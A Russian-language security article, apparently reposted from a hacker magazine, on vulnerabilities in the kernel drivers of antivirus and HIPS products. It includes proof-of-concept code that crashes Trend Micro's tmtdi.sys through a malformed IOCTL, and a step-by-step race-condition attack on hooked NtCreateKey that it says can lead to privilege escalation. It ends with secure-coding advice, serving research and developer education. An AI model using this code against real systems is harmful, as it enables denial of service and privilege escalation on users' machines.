| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 3.145.74.89
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Драйверы антивирусов — источник зла: уязвимости в драйверах проактивных защит

Многим известно, что большое количество программ используют драйверы режима ядра в Windows как "окно" для доступа в более привилегированный режим — Ring 0. В первую очередь это касается защитного ПО, к которому можно отнести антивирусы, межсетевые экраны, HIPS’ы (Host Intrusion Prevention System) и программы класса internet security.

Очевидно, что кроме основных функций подобные драйверы будут оснащены также механизмами взаимодействия, предназначенными для обмена данными между драйвером и другими программными компонентами, работающими в пользовательском режиме. Тот факт, что код, работающий на высоком уровне привилегий, получает данные от кода, работающего на уровне привилегий более низком, заставляет разработчиков уделять повышенное внимание вопросам безопасности при проектировании и разработке упомянутых выше механизмов взаимодействия. Однако как с этим обстоят дела на практике?

Сага про IoCtl

Сейчас мы максимально широко рассмотрим тему уязвимостей в драйверах защитного ПО, их эксплуатации и поиска. И начнем с диспетчера ввода-вывода.

Существует достаточно много как документированных, так и не очень системных механизмов, которые могут быть использованы для организации взаимодействия кода пользовательского режима с драйверами режима ядра. Самыми функциональными и наиболее часто используемыми являются те, которые предоставляются диспетчером ввода-вывода (I/O manager). В конце концов, именно они и создавались разработчиками операционной системы для подобных задач. Давай рассмотрим, как обычно организуется работа с диспетчером ввода-вывода со стороны драйвера и приложения.


I/O Manager собственной персоной

После загрузки драйвер создает именованный объект ядра "устройство", используя функцию IoCreateDevice. Для обработки обращений к созданным устройствам драйвер ассоциирует со своим объектом набор функций-обработчиков. Эти функции вызываются диспетчером ввода-вывода при выполнении определенных операций с устройством (открытие, закрытие, чтение, запись и т.д.), а также в случае некоторых системных событий (например, завершения работы системы или монтирования раздела жесткого диска). Структура, описывающая объект "драйвер", называется DRIVER_OBJECT, а эти функции — IRP (I/O Request Packet) обработчиками. Их адреса драйвер помещает в поле DRIVER_OBJECT::MajorFunction, которое, по своей сути, является массивом указателей, имеющим фиксированный размер IRP_MJ_MAXIMUM_FUNCTION + 1.

Константа IRP_MJ_MAXIMUM_FUNCTION определена в заголовочных файлах Driver Development Kit (DDK) как 27. Как видишь, типов событий, связанных с устройством, довольно много. IRP-обработчики имеют следующий прототип:

typedef NTSTATUS (*PDRIVER_DISPATCH)
(
    IN struct _DEVICE_OBJECT *DeviceObject,
    IN struct _IRP *Irp
);

Параметр DeviceObject указывает на конкретное устройство (у одного драйвера их может быть много), а Irp — на структуру, содержащую различную информацию о запросе к устройству, такую как контрольный код, буферы для входящих и исходящих данных, статус завершения обработки запроса и многое другое.


Закодированная информация в параметре IoCtl

Так как устройство, создаваемое драйвером, является именованным объектом, оно видно в пространстве имен диспетчера объектов. Это позволяет открывать его по имени, используя функцию CreateFile/OpenFile (или ее native-аналог — NtCreateFile/NtOpenFile). Именно это, как правило, в первую очередь и делает код пользовательского режима, которому необходимо передать драйверу, владеющему устройством, какой-либо запрос. Во время открытия устройства, в контексте процесса, осуществляющего эту операцию, вызывается обработчик драйвера IRP_MJ_CREATE. Подобные уведомления позволяют драйверу управлять открытием своих устройств — он может запретить или разрешить это по своему усмотрению. Если открытие устройства со стороны драйвера было разрешено, система создает ассоциированный с устройством объект ядра типа "файл", дескриптор которого возвращается функцией CreateFile. Когда устройство открыто, приложение может вызывать функции ReadFile, WriteFile и DeviceIoControlFile для взаимодействия с драйвером.

Наибольший интерес для нас представляет последняя функция. Ниже представлена схема, поясняющая способ обработки запроса после вызова данной функции:

BOOL WINAPI DeviceIoControl
(
    HANDLE hDevice,
    DWORD dwIoControlCode,
    LPVOID lpInBuffer,
    DWORD nInBufferSize,
    LPVOID lpOutBuffer,
    DWORD nOutBufferSize,
    LPDWORD lpBytesReturned,
    LPOVERLAPPED lpOverlapped
);

В качестве параметра hDevice она получает дескриптор устройства, в lpInBuffer и nInBufferSize передается указатель на буфер с входящими данными и его размер, а в lpOutBuffer и nOutBufferSize — указатель и размер буфера для данных, которые будут возвращены драйвером.


Девайсы trend micro

Отдельно стоит рассказать о параметре dwIoControlCode. Он предтавляет собой двойное слово и служит для указания драйверу кода операции, которую мы хотим осуществить. Поддерживаемые драйвером значения кода запроса ввода-вывода определяются на этапе написания конкретного драйвера (то есть жестко "зашиты" в его код) и выбираются разработчиком не по произвольному принципу. Вот какую информацию извлекает диспетчер ввода-вывода из этого двойного слова:

  • DEVICE TYPE — идентификатор устройства (биты 16-31); диапазон 0-7FFFh зарезервирован Microsoft, а значение из диапазона 8000h-0FFFFh может быть любым, по усмотрению разработчика драйвера. Это значение также передается функции IoCreateDevice в качестве параметра DeviceType при создании устройства.
  • ACCESS — набор флагов, определяющих права доступа к устройству.
  • FILE_ANY_ACCESS — максимальные права доступа.
  • FILE_READ_ACCESS — права на чтение данных из устройства.
  • FILE_WRITE_ACCESS — права на передачу данных к устройству.
  • FUNCTION — определяет операцию, выполнение которой требуется от драйвера.
  • METHOD — определяет метод ввода-вывода.
  • METHOD_BUFFERED — буферизированный ввод-вывод. Диспетчер выделяет в не подкачиваемом пуле буфер, размер которого равен наибольшему размеру, указанному в параметрах nInBufferSize и nOutBufferSize функции DeviceIoControl. В этот буфер копируются данные из пользовательского входного буфера (параметр lpInBuffer). Адрес этого буфера передается обработчику IRP_MJ_DEVICE_CONTROL в поле AssociatedIrp.SystemBuffer структуры IRP, а его размер — в поле Parameters.DeviceIoControl.InputBufferLength структуры IO_STACK_LOCATION. После того, как обработчик драйвера был вызван, диспетчер ввода-вывода копирует возвращаемые драйвером в этом же системном буфере данные в пользовательский буфер. Размер копируемых данных IRP-обработчик должен указать сам, в параметре IoStatus.Information структуры IRP.
  • METHOD_IN_DIRECT и METHOD_OUT_DIRECT — ситуация с входным буфером аналогична буферизированному вводу-выводу. Выходной пользовательский буфер обрабатывается несколько иначе — описывающий его MDL помещается в поле MdlAddress структуры IRP. Входной буфер, несмотря на его название, может служить как источником, так и приемником данных.
  • METHOD_NEITHER — операции по обработке как входных, так и выходных буферов целиком и полностью ложатся на плечи разработчика. В поле DeviceIoControl.Type3InputBuffer структуры IO_STACK_LOCATION содержится указатель на пользовательский входной буфер, а в поле UserBuffer структуры IRP — указатель на пользовательский выходной буфер.

Проверка указателей

Для валидации user-mode указателей используются документированные в DDK функции ProbeForRead/ProbeForWrite. Если ты используешь метод ввода-вывода METHOD_NEITHER, то в качестве дополнительной меры обязательно нужно подвергать аналогичной проверке указатель на входные и выходные пользовательские данные IRP-запроса (поля DeviceIoControl.Type3InputBuffer и UserBuffer).

Причем для выходного буфера следует использовать функцию ProbeForWrite, так как он может находиться на странице памяти пользовательского режима, не имеющей разрешение на запись, что, в свою очередь, вызовет BSоD при попытке записать туда что-либо из драйвера. Важно отметить, что при вызове этих функций с параметром длины, равным нулю, никаких проверок выполняться не будет. Этот нюанс используется при эксплуатации уязвимостей. Также не стоит забывать, что эти функции можно использовать только на PASSIVE- APC IRQ Level. На уровнях DPC и выше их использование может привести к появлению синего экрана, так как на этих уровнях обращения к выгружаемой памяти режима ядра не отлавливаются структурными обработчиками исключений.

Типичные уязвимости

Кроме специфичных для этой атаки уязвимостей, связанных с валидацией указателей, также часто встречаются типичные уязвимости, такие как переполнение стека, целочисленное переполнение и т.д. Рассмотрим драйвер одного антивирусного продукта.

Смотрим информацию об устройстве tmtdi:

kd> !devobj tmtdi
Device object (812cc9f0) is for:
tmtdi*** ERROR: Module load completed but symbols could not be loaded for tmtdi.sys
\Driver\tmtdi DriverObject 816693b8
Current Irp 00000000 RefCount 1 Type 00000022 Flags 00000040
Dacl e12cbbb4 DevExt 812ccaa8 DevObjExt 812ccab0 ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj 816693b8 2
Driver object (816693b8) is for:
\Driver\tmtdi
DriverEntry: f0f0c505 tmtdi
DriverStartIo: 00000000
DriverUnload: 00000000
AddDevice: 00000000
Dispatch routines:
...
[0e] IRP_MJ_DEVICE_CONTROL f0f07b38 tmtdi+0xdb38
<------ адрес обработчика IoCtl вызовов

Как видно из листинга, устройство tmtdi обрабатывается драйвером tmtdi.sys. Бегло проанализировав код, мы обнаружили ошибку, ведущую к разрушению пула ядра (Kernel Pool Memory Corruption, листинг ищи на DVD).

А теперь нехитрый код для воспроизведения BSoD:

hDevice = CreateFileA(
"\\\\.\\tmtdi",
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL);

inbuff = (char *)malloc(0x4000);

if(!inbuff)
{

    printf("malloc failed!\n");
    return 0;
}

memset(inbuff, 'A',0x4000-1);
ioctl = 0x220044;
DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x10, (LPVOID)inbuff, 0x10, &cb,NULL);

Syscall

Разработчики драйверов антивирусных компаний реализуют перехват различных системных сервисов. Перехваты системных сервисов реализуют различный функционал — от самозащиты до блокирования атак на повышение привилегий (загрузка драйвера через NtLoadDriver). Разумеется, в этом случае также нужно предпринимать все необходимые меры для проверки получаемых параметров. Однако особенность именно системных сервисов заключается в том, что они  могут быть вызваны как из пользовательского режима (Zw* и Nt* функции ntdll.dll), так и из режима ядра (Zw* функции ntoskrnl.exe). В последнем случае параметры сервиса могут содержать указатели на память режима ядра, и это нужно как-то учитывать во время их проверки. К счастью, для определения того, из какого режима был осуществлен вызов системного сервиса, разработчики ядра предоставили в наше полное распоряжение функцию GetPreviousMode. Она возвращает значение поля PreviousMode структуры KTHREAD, описывающей текущий поток, а само значение устанавливается диспетчером системных вызовов. Большинство реализаций перехвата различных системных сервисов антивирусного рынка подвержены атаке Race Condition (RC) (более четкий подвид TOCTTOU). По словам компании Matousec, в рамках ее исследования был реализован анализ продуктов всех антивирусных компаний на наличие RC, однако они не обнародовали PoC/Exploit.


Перехваченные системные сервисы

Рассмотрим по шагам, как же можно проанализировать и реализовать атаку на антивирусные продукты через перехват SSDT-функции, используя RC.

1. Нужно определить список перехватываемых функций; для этого запускаем любимый антируткит (RkUnhooker, GMER — выбор авторов) и смотрим перехваты в SSDT:

ntkrnlpa.exe-->NtCreateKey, Type: Address change 0x8061A286-->F8D380E6 [Unknown module filename]
ntkrnlpa.exe-->NtCreateThread, Type: Address change 0x805C7208-->F8D380DC [Unknown module filename]
ntkrnlpa.exe-->NtDeleteKey, Type: Address change 0x8061A716-->F8D380EB [Unknown module filename]
ntkrnlpa.exe-->NtDeleteValueKey, Type: Address change 0x8061A8E6-->F8D380F5 [Unknown module filename]
ntkrnlpa.exe-->NtLoadDriver, Type: Address change 0x80579588-->F8D38113 [Unknown module filename]
ntkrnlpa.exe-->NtLoadKey, Type: Address change 0x8061C482-->F8D380FA [Unknown module filename]
ntkrnlpa.exe-->NtOpenProcess, Type: Address change 0x805C1296-->F8D380C8 [Unknown module filename]
ntkrnlpa.exe-->NtOpenThread, Type: Address change 0x805C1522-->F8D380CD [Unknown module filename]
ntkrnlpa.exe-->NtReplaceKey, Type: Address change 0x8061C332-->F8D38104 [Unknown module filename]
ntkrnlpa.exe-->NtRestoreKey, Type: Address change 0x8061BC3E-->F8D380FF [Unknown module filename]
ntkrnlpa.exe-->NtSetSystemInformation, Type: Address change 0x80605E76-->F8D38118 [Unknown module filename]
ntkrnlpa.exe-->NtSetValueKey, Type: Address change 0x8061880C-->F8D380F0 [Unknown module filename]
ntkrnlpa.exe-->NtTerminateProcess, Type: Address change 0x805C8C2A-->F8D380D7 [Unknown module filename]
ntkrnlpa.exe-->NtWriteVirtualMemory, Type: Address change 0x805A981C-->F8D380D2 [Unknown module filename]

2. Выбираем функцию, которая обрабатывает указатели или структуры, где есть указатели, например NtCreateKey (POBJECT_ATTRIBUTES, PUNICODE_STRING).

3. Скачиваем пример реализации с seclists.org/bugtraq/2003/Dec/351.

4. Немного редактируем:

ZwCreateKey = (_ZwCreateKey *) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateKey");
...
OBJECT_ATTRIBUTES oa;
wchar_t wcKeyName[] = L"\\REGISTRY\\User\\S-1-5-21-861567501-287218729-1801674531-1003\\Software\\NetScape";

UNICODE_STRING KeyName = {
sizeof wcKeyName - sizeof wcKeyName[0],
sizeof wcKeyName,
wcKeyName
};
...
while ( !_kbhit() )
{
    HANDLE hKey;
    oa.ObjectName->Buffer = (PWSTR)ptr;
    NTSTATUS rc = ZwCreateKey(&hKey, KEY_READ, &oa,
    TitleIndex, NULL,
    REG_OPTION_NON_VOLATILE, &Disposition);
    if ( NT_SUCCESS(rc) )
        CloseHandle(hKey);
}
...
DWORD WINAPI Crack(LPVOID Context)
{
    POBJECT_ATTRIBUTES oa = (
    POBJECT_ATTRIBUTES) Context;
    DWORD *ptr = (DWORD*)&oa->ObjectName->Buffer;
    SetThreadPriority(GetCurrentThread(),
    THREAD_PRIORITY_HIGHEST);
    SetEvent(hStartEvent);
    while ( true )
    {
        *ptr = 0x90909090; //заменяем указатель на невалидный адрес в пространстве ядра
        if ( WaitForSingleObject(hStopEvent, 1)== WAIT_OBJECT_0 ) break;
    }
return 0;
}

5. Запускаем и ждем. Поскольку переключение между потоками происходит очень быстро, а количество инструкций для реализации данной атаки небольшое (от 8 до 60), необходимо немного подождать. Потом ты увидишь BSOD. Очень часто такие уязвимости можно эксплуатировать как локальное повышение привилегий.

kd> !analyze -v
Bugcheck Analysis
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory.

Подробности такого фейла смотри в листинге на нашем DVD. Несмотря на то, что подавляющее большинство ошибок реализации в драйверах реальных программ обусловлено именно неправильной валидацией указателей и некорректной проверкой формата/размера входных данных, разработчику стоит обращать внимание не только на это. Вот еще некоторые нюансы, которые необходимо соблюдать при написании качественного кода:

1. Если ты работаешь с памятью, указатель на которую был получен извне, как с ASCII- или Unicode-строкой, нужно обязательно проверять наличие нулевого байта в ее конце, так как при отсутствии такового функции strlen/wcslen и подобные вызовут Page Fault при выходе за границы валидной страницы памяти.

2. Никогда не выполняй запись по kernel mode-адресам, которые были получены из пользовательского режима. Просто запомни это, как аксиому. Наличие подобных манипуляций, независимо от их характера, уже является серьезной уязвимостью, которая была допущена еще на стадии проектирования.

3. Не забывай о дескрипторах, так как задачи, для решения которых драйверу необходимо получить дескриптор какого-либо объекта ядра, встречаются весьма часто. В этом случае корректность полученного дескриптора в драйвере поможет обеспечить выполнение его копирования с помощью функции ZwDuplicateHandle, однако более предпочтительным все же будет вариант с передачей драйверу из приложения не дескриптора объекта, а его имени с последующим открытием данного объекта уже на стороне драйвера.

Вывод

Как показывает практика, большинство антивирусов, HIPS’ов содержат уязвимости. А тестирование их драйверов в большинстве компаний не проводится. Как итог, исправление уязвимостей в некоторых случаях занимает более года. Из вышесказанного можно сделать вывод, что драйверы антивирусов — лакомый кусочек для хакера.

Категория: Общие Статьи | Добавил: aka_kludge (10.12.2010) | Автор: Никита Тараканов (CISS Research )
Просмотров: 2323 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

23:36
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика